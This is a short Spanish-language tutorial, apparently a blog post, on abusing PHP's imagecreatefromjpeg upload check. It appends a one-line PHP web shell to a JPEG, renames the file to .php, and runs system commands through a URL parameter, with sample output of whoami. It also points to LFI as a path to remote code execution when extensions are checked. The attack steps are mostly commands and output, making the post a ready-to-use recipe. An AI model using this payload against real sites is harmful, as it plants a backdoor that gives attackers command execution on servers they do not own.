La función imagecreatefromjpeg de php se utiliza por los webmasters para subir imágenes a las webs. Esta función no realiza un filtro de la imagen para que no se incluya código malicioso. De esta forma si el programador únicamente realiza esta comprobación sin mirar también la extensión del archivo, el mimetype, el tamaño,...
Creando el payload
Para el payload necesitamos una imagen cualquiera con la extensión requerida, en este caso jpeg. Una vez descarga la imagen elegimos el código php que queremos ejecutar, en nuestro caso vamos a utilizar una microshell de php. Utilizamos el comando echo para aderir la shell a la imagen.
echo "<?=@`$_GET[c]`;" >> imagen.jpg
Una vez hecho esto podemos cambiarle la extensión para que se ejecute como un php.
mv imagen.jpg imagen.php
El código de la imagen, osbervándolo con el comando strings, quedaría algo parecido a esto.
JFIF
$.' ",#
(7),01444
'9=82<.342
!22222222222222222222222222222222222222222222222222
AQaq
#2BRb
!A"Qaq
e$wm#
6^u
mh{U
YHoR
7)+Q
'n[Q
MskkI
5I>M
Q6m7mcz
`-Y-a[T
m%)d(
B[JT
\@I +i
JSM:X-
t=8
vWs,^
WSK!
+lsY
)@)J
BG*?
Rc!AN8
+,[)
J&LR
Kn }
[.w5
HJR<
HO%,
}+?6sMEt\
_M,:
urdan
7}9n
q?U(|
)@)JP
Q\n6
5!XB
fdmq
JR>C
-m8-
}Y: 8L
[zf_
)@)JP
a;!C
!]]h
Gn4d
)@)JP
x)RR
!IRTR
=EefV
9B,t
n;+y
JW@*{
)@)JP
g.?-
+`RO
<?=@`$_GET[c]`;
Con ello subimos la imagen y pasamos el "filtro" de imagecreatefromjpeg. La imagen se guardará tal cual con al extensión, en caso de no tener un control sobre la extensión, y podremos acceder ejecutando comandos en el sistema.
http://pwnweb.com/images/imagen.php?c=whoami
Con ello nos retornará algo parecido a esto:
www-data
En caso de que comprobaran la extensión se podría seguir usando el código malicioso incrustado en la imágen para con una vulnerabilidad del tipo LFI ejecutarlo y conseguir el RCE.